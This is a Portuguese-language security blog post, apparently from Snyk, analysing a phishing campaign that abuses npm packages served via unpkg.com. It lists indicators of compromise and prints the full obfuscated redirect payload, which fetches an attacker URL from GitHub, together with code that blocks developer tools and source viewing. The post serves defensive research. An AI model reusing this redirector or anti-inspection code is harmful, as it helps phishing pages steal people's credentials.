Skip to main content

Campanha de phishing explora o ecossistema NPM

Escrito por
blog feature toolkit

10 de outubro de 2025

0 minutos de leitura

Em outubro de 2025, pesquisadores descobriram uma operação de phishing que explora o ecossistema npm — desta vez, não para infectar desenvolvedores durante a instalação, mas para hospedar e distribuir scripts de phishing por meio da confiável CDN unpkg.com .

Os agentes de ameaça semearam mais de 175 pacotes descartáveis para hospedar JavaScript que redireciona automaticamente as vítimas a sites que roubam credenciais quando elas abrem arquivos HTML de “documentos comerciais” especialmente preparados. Segundo a Socket, que divulgou a notícia inicialmente e forneceu os primeiros dados, o ataque afeta mais de 135 organizações dos setores industrial, de tecnologia e de energia, principalmente na Europa. Após a divulgação, a Snyk mapeou outros pacotes da campanha e identificou um grupo separado com nomes no padrão mad-x.x.x.x.x.x (em que x é um número aleatório), que parece estar relacionado ou ser uma cópia experimental, com infraestrutura e intenção semelhantes.

Diferentemente da tática mais conhecida de simplesmente enviar pacotes maliciosos para comprometer desenvolvedores durante a instalação, esta campanha segue outro caminho. Em vez de infectar usuários via npm install, os invasores exploram a distribuição pelo navegador via unpkg, transformando uma infraestrutura legítima de hospedagem de código aberto em um mecanismo de phishing. Isso mostra claramente que os agentes de ameaça estão explorando métodos além dos ataques convencionais a pacotes e buscando ativamente novas formas de usar o próprio ecossistema de código aberto como arma. Embora não seja um comprometimento clássico da cadeia de suprimentos, é um caso que merece atenção.

O que aconteceu neste ataque à cadeia de suprimentos

  1. Publicação em massa de pacotes: Os invasores automatizaram a criação de muitos pacotes npm (padrão redirect-[a-z0-9]{6}) com conteúdo mínimo: beamglea.js e arquivos HTML de isca.

  2. Disponibilidade automática na CDN: Assim que uma versão do pacote é publicada, ela pode ser acessada pela popular e centralizada CDN em unpkg.com, referenciada em <script src="https://unpkg.com/<name>@<ver>/beamglea.js"> para usar esses pacotes maliciosos.

  3. Distribuição do phishing: As vítimas recebem arquivos HTML personalizados (que muitas vezes imitam faturas e outros documentos). Ao abri-los, o script unpkg é carregado.

  4. Captura de credenciais: O script redireciona imediatamente a vítima para uma página controlada pelo invasor e inclui o e-mail da vítima no fragmento da URL, preenchendo previamente o formulário de phishing. Isso cria um sinal de confiança convincente e evita registros no servidor.

Linha do tempo

Até o momento, a linha do tempo deste incidente em evolução é a seguinte:

  • 24 de setembro de 2025: Os primeiros rastros da infraestrutura foram divulgados publicamente.

  • 9 de outubro de 2025: A Socket publica uma pesquisa que detalha os 175 pacotes, o codinome “Beamglea”, o padrão de nomes redirect-* e as mais de 135 organizações afetadas.

  • 10 de outubro de 2025: Uma análise interna da Snyk documenta pacotes adicionais não listados pela Socket, seguindo o padrão de nomes mad-* (a investigação ainda está em andamento; a atribuição e a relação com o mesmo agente ainda não foram confirmadas).

Componentes afetados

  • Principal: Qualquer pessoa que abra uma das iscas HTML da campanha em um navegador que busque um script em unpkg.com. O alvo são funcionários de empresas, não desenvolvedores.

  • Inventário de pacotes:

    • Família redirect-* (≈175 pacotes), que atua como hospedagem na CDN para beamglea.js e arquivos HTML. Socket

    • Conjunto adicional identificado pela Snyk (não mencionado na publicação da Socket):

      • mad-1.0.0.2.2.8, mad-1.2.9.2.2.8, mad-2.4.0.2.2.8, mad-1.4.1.2.2.8, mad-2.0.0.2.2.8, mad-4.0.1.2.2.8, mad-3.0.1.2.2.8, mad-2.0.2.2.2.8, mad-10.1.1.2.2.8, mad-1.4.2.2.2.8, mad-2.4.1.2.2.8, mad-1.4.0.2.2.8, mad-10.2.1.2.2.8, mad-2.0.1.2.2.8, mad-3.0.0.2.2.8, mad-5.0.0.2.2.8, mad-3.0.2.2.2.8, mad-4.0.0.2.2.8, mad-5.0.1.2.2.8, mad-6.0.0.2.2.8

Análise dos pacotes mad-*

Este pacote contém uma página falsa de “verificação de segurança da Cloudflare” que redireciona os usuários discretamente para uma URL controlada pelo invasor, obtida de um arquivo hospedado remotamente no GitHub. O código inclui técnicas comuns contra análise: bloqueia atalhos de inspeção e tenta redirecionar a janela principal (frame-busting) após o clique em uma caixa de seleção falsa de verificação.

O que ele faz

Interface de phishing/isca: Imita a Cloudflare e faz referência ao possível alvo.

<h1>Security Check</h1>
<p class="description">
  We are checking your browser before granting access to 
    <span style="font-weight: bold; color: black; font-size: 1.1em;">redacted.site</span>.
  This may take a few seconds.
</p>
Janela do navegador exibindo uma página suspeita de “Verificação de segurança”, com uma caixa de seleção “Não sou um robô” e uma mensagem de redirecionamento automático.

Detecção de ferramentas de desenvolvedor: O código verifica periodicamente se as ferramentas de desenvolvedor estão abertas e, se estiverem, apaga o conteúdo da página ou redireciona o usuário.

  const CHECK_INTERVAL = 600; 
  const SIZE_THRESHOLD = 160; 
  const REACTION = 'blank'; 
  ...
  function sizeCheck() {
    ...
    return (dw > SIZE_THRESHOLD) || (dh > SIZE_THRESHOLD);
  function consoleCheck() {
    ...
    Object.defineProperty(obj, 'id', {
      get: function() {
        open = true;
        return '1';
      }
    });
    console.log(obj);
    return open;

Ativação por ação do usuário: Quando a caixa “Não sou um robô” é marcada, um indicador de carregamento aparece e, em seguida, o código busca um arquivo de texto remoto. Se o arquivo contiver uma URL, o navegador (ou o frame pai) será redirecionado para ela. 

Proteção contra inspeção: Desativa o clique com o botão direito, a tecla F12, atalhos comuns das ferramentas de desenvolvedor e as opções “exibir código-fonte” e “salvar”.

    document.addEventListener('contextmenu', function(e) {
        e.preventDefault();
    });

    document.addEventListener('keydown', function(e) {

        if (e.key === "F12") {
            e.preventDefault();
        }

        if ((e.ctrlKey && e.shiftKey && (e.key === 'I' || e.key === 'J')) || 
            (e.ctrlKey && (e.key === 'U' || e.key === 'S'))) {
            e.preventDefault();
        }
    });

O payload do malware

Para servir de referência a outros pesquisadores de segurança e leitores, disponibilizamos o código ofuscado completo de script.js. Este payload é carregado pelo seguinte script na página <script src="https://unpkg.com/mad-4.0.0.2.2.8.@3.0.1/script.js" defer></script> <script>.

O payload do malware:

function _0xab84(_0x5df706, _0x320379) {
    const _0x12f2bf = _0x12f2();
    return _0xab84 = function (_0xab8422, _0x3659f3) {
        _0xab8422 = _0xab8422 - 0x16e;
        let _0x376c45 = _0x12f2bf[_0xab8422];
        return _0x376c45;
    }, _0xab84(_0x5df706, _0x320379);
}
const _0x454c0a = _0xab84;

function _0x12f2() {
    const _0x199a32 = ['4898145oELnlc', '10LcRtZV', 'then', '15289353dnZbJp', 'addEventListener', '2564739cAzVxA', 'trim', '.checkbox-container', '[redirect] raw text length:', 'style', 'https://raw.githubusercontent.com/Abassdos2992/truboebvitalya/refs/heads/main/mad4.txt', 'status', 'length', 'loadingSpinner', '1796076dMFIfM', '88NkGily', '<p>Success!</p>', '[redirect] fetching URL from', 'location', 'checked', 'GET', 'random', 'href', '4qxNEbE', 'error', '.verification-box', 'none', '[redirect] window.top assignment failed:', '[redirect] fetch status:', '[redirect] fetch failed:', 'innerHTML', '[redirect] unexpected error:', '[redirect] invalid URL format:', '[redirect] empty URL received from GitHub file', 'info', 'DOMContentLoaded', 'display', 'botCheck', '3226570QdFfpZ', '[redirect] redirecting to:', 'getElementById', 'change', '4bDCpQe', 'querySelector', '15100920Pnmwdh', 'top', 'no-store', 'block', '6VLioyL', 'test', '937826VuaTzv'];
    _0x12f2 = function () {
        return _0x199a32;
    };
    return _0x12f2();
}(function (_0x5ee12f, _0x463d21) {
    const _0xe50adb = _0xab84,
        _0x418764 = _0x5ee12f();
    while (!![]) {
        try {
            const _0x33be1a = parseInt(_0xe50adb(0x19c)) / 0x1 * (parseInt(_0xe50adb(0x184)) / 0x2) + -parseInt(_0xe50adb(0x18a)) / 0x3 * (parseInt(_0xe50adb(0x17c)) / 0x4) + parseInt(_0xe50adb(0x178)) / 0x5 + -parseInt(_0xe50adb(0x182)) / 0x6 * (-parseInt(_0xe50adb(0x185)) / 0x7) + -parseInt(_0xe50adb(0x17e)) / 0x8 + parseInt(_0xe50adb(0x188)) / 0x9 * (parseInt(_0xe50adb(0x186)) / 0xa) + parseInt(_0xe50adb(0x194)) / 0xb * (-parseInt(_0xe50adb(0x193)) / 0xc);
            if (_0x33be1a === _0x463d21) break;
            else _0x418764['push'](_0x418764['shift']());
        } catch (_0xab8496) {
            _0x418764['push'](_0x418764['shift']());
        }
    }
}(_0x12f2, 0xef296), document[_0x454c0a(0x189)](_0x454c0a(0x175), function () {
    const _0xa859eb = _0x454c0a,
        _0x4ef0d2 = document[_0xa859eb(0x17a)](_0xa859eb(0x177)),
        _0x224de6 = document['querySelector'](_0xa859eb(0x19e)),
        _0x441ce0 = document['getElementById'](_0xa859eb(0x192)),
        _0xd10573 = document[_0xa859eb(0x17d)](_0xa859eb(0x18c)),
        _0x10848a = _0xa859eb(0x18f),
        _0x569cab = _0x10848a;
    _0x4ef0d2['addEventListener'](_0xa859eb(0x17b), function () {
        const _0x491ce3 = _0xa859eb;
        if (!this[_0x491ce3(0x198)]) return;
        try {
            _0x184285(), setTimeout(() => {
                _0x405f84(), setTimeout(() => {
                    const _0x89d3d3 = _0xab84;
                    console[_0x89d3d3(0x174)](_0x89d3d3(0x196), _0x569cab), fetch(_0x569cab, {
                        'method': _0x89d3d3(0x199),
                        'cache': _0x89d3d3(0x180)
                    })[_0x89d3d3(0x187)](_0xb053b6 => {
                        const _0x42dda6 = _0x89d3d3;
                        return console[_0x42dda6(0x174)](_0x42dda6(0x16e), _0xb053b6[_0x42dda6(0x190)], _0xb053b6['statusText']), _0xb053b6['text']()[_0x42dda6(0x187)](_0x239cb7 => ({
                            'status': _0xb053b6[_0x42dda6(0x190)],
                            'text': _0x239cb7
                        }));
                    })[_0x89d3d3(0x187)](({
                        status: _0x48490,
                        text: _0x54a6fa
                    }) => {
                        const _0x4408f0 = _0x89d3d3,
                            _0x4cfb55 = (_0x54a6fa || '')[_0x4408f0(0x18b)]();
                        console[_0x4408f0(0x174)](_0x4408f0(0x18d), (_0x54a6fa || '')[_0x4408f0(0x191)]);
                        if (!_0x4cfb55) {
                            console[_0x4408f0(0x19d)](_0x4408f0(0x173));
                            return;
                        }
                        if (!/^https?:\/\//i [_0x4408f0(0x183)](_0x4cfb55)) {
                            console['error'](_0x4408f0(0x172), _0x4cfb55);
                            return;
                        }
                        console[_0x4408f0(0x174)](_0x4408f0(0x179), _0x4cfb55);
                        try {
                            window[_0x4408f0(0x17f)][_0x4408f0(0x197)][_0x4408f0(0x19b)] = _0x4cfb55;
                            return;
                        } catch (_0x86bd20) {
                            console['warn'](_0x4408f0(0x1a0), _0x86bd20);
                        }
                        try {
                            window[_0x4408f0(0x197)][_0x4408f0(0x19b)] = _0x4cfb55;
                        } catch (_0x255bd0) {
                            console[_0x4408f0(0x19d)]('[redirect] window.location assignment failed:', _0x255bd0);
                        }
                    })['catch'](_0x5a4cd6 => {
                        const _0xb0c328 = _0x89d3d3;
                        console[_0xb0c328(0x19d)](_0xb0c328(0x16f), _0x5a4cd6);
                    });
                }, 0x3e8);
            }, 0x7d0 + Math[_0x491ce3(0x19a)]() * 0x3e8);
        } catch (_0x96207c) {
            console[_0x491ce3(0x19d)](_0x491ce3(0x171), _0x96207c);
        }
    });

    function _0x184285() {
        const _0x5471f3 = _0xa859eb;
        if (_0xd10573) _0xd10573['style']['display'] = _0x5471f3(0x19f);
        if (_0x441ce0) _0x441ce0[_0x5471f3(0x18e)]['display'] = _0x5471f3(0x181);
    }

    function _0x405f84() {
        const _0x197e4e = _0xa859eb;
        if (_0x441ce0) _0x441ce0['style'][_0x197e4e(0x176)] = 'none';
        if (_0x224de6) _0x224de6[_0x197e4e(0x170)] = _0x197e4e(0x195);
    }
}));

Perguntas frequentes 

Quais são os indicadores de comprometimento (IoCs) desse ataque à cadeia de suprimentos?

Indícios em arquivos/conteúdo (endpoints ou gateways de e-mail):

  • HTML com <script src="https://unpkg.com/redirect-<6-char-suffix>@<semver>/beamglea.js">.

  • Tag meta do HTML observada em diferentes iscas: name="html-meta" content="nb830r6x".

Indícios de rede:

  • Solicitações de saída dos endpoints dos usuários para unpkg.com, seguidas imediatamente pela navegação para domínios suspeitos, como cfn.jackpotmastersdanske[.]com.

Indícios em pacotes (repositórios/ambientes de desenvolvimento):

  • Presença de pacotes npm de baixo perfil, chamados redirect-[a-z0-9]{6} ou pertencentes à lista mad-* acima, mesmo que não estejam instalados (pois são carregados remotamente do unpkg.com).

Quais componentes de código aberto estão envolvidos nesse ataque?

  • Registro npm: usado como origem de hospedagem gratuita e confiável por meio da publicação de muitos pacotes de baixo valor (por exemplo, redirect-<random>), cada um contendo um pequeno script de redirecionamento e arquivos de isca.

  • unpkg.com CDN: disponibiliza automaticamente qualquer pacote público do npm via HTTPS, permitindo que os invasores carreguem beamglea.js diretamente nos navegadores das vítimas.

  • Arquivos HTML de isca voltados às vítimas: pedidos de compra ou documentos de projeto com aparência inofensiva que, quando abertos localmente, buscam o script na CDN centralizada unpkg.com e direcionam os usuários a portais de login falsos, com o campo de e-mail preenchido (aumentando, assim, a credibilidade).

Snyk Labs

Experimente as inovações mais recentes da Snyk em segurança de IA

Os clientes da Snyk já podem experimentar o Snyk AI-BOM e o Snyk MCP-Scan em versão experimental — e vem muito mais por aí!

Leia mais

blog feature ai lilac
Blog

Transforme seu backlog de vulnerabilidades em pull requests com remediação agentiva

O Evo Remediation Agent está em Open Preview e traz a resolução automatizada de dependências para o Evo Agentic AppSec. Agora, as equipes de AppSec podem executar campanhas contínuas de remediação

blog feature snyk container custom base recommendations
Blog

Conheça o Evo Agentic AppSec: segurança que acompanha o ritmo do desenvolvimento com IA

O desenvolvimento impulsionado por IA está ultrapassando os fluxos de trabalho tradicionais de segurança. O Agentic AppSec da Snyk usa agentes de segurança para encontrar, corrigir e verificar vulnerabilidades continuamente, enquanto as pessoas definem os critérios.

feature insights context
Blog

Os ataques autônomos já chegaram. A defesa precisa acompanhar o ritmo.

Os atacantes autônomos estão reduzindo o tempo disponível para a defesa. Saiba como a descoberta, a correção, a validação e a prevenção contínuas ajudam as equipes de segurança a acompanhar esse ritmo.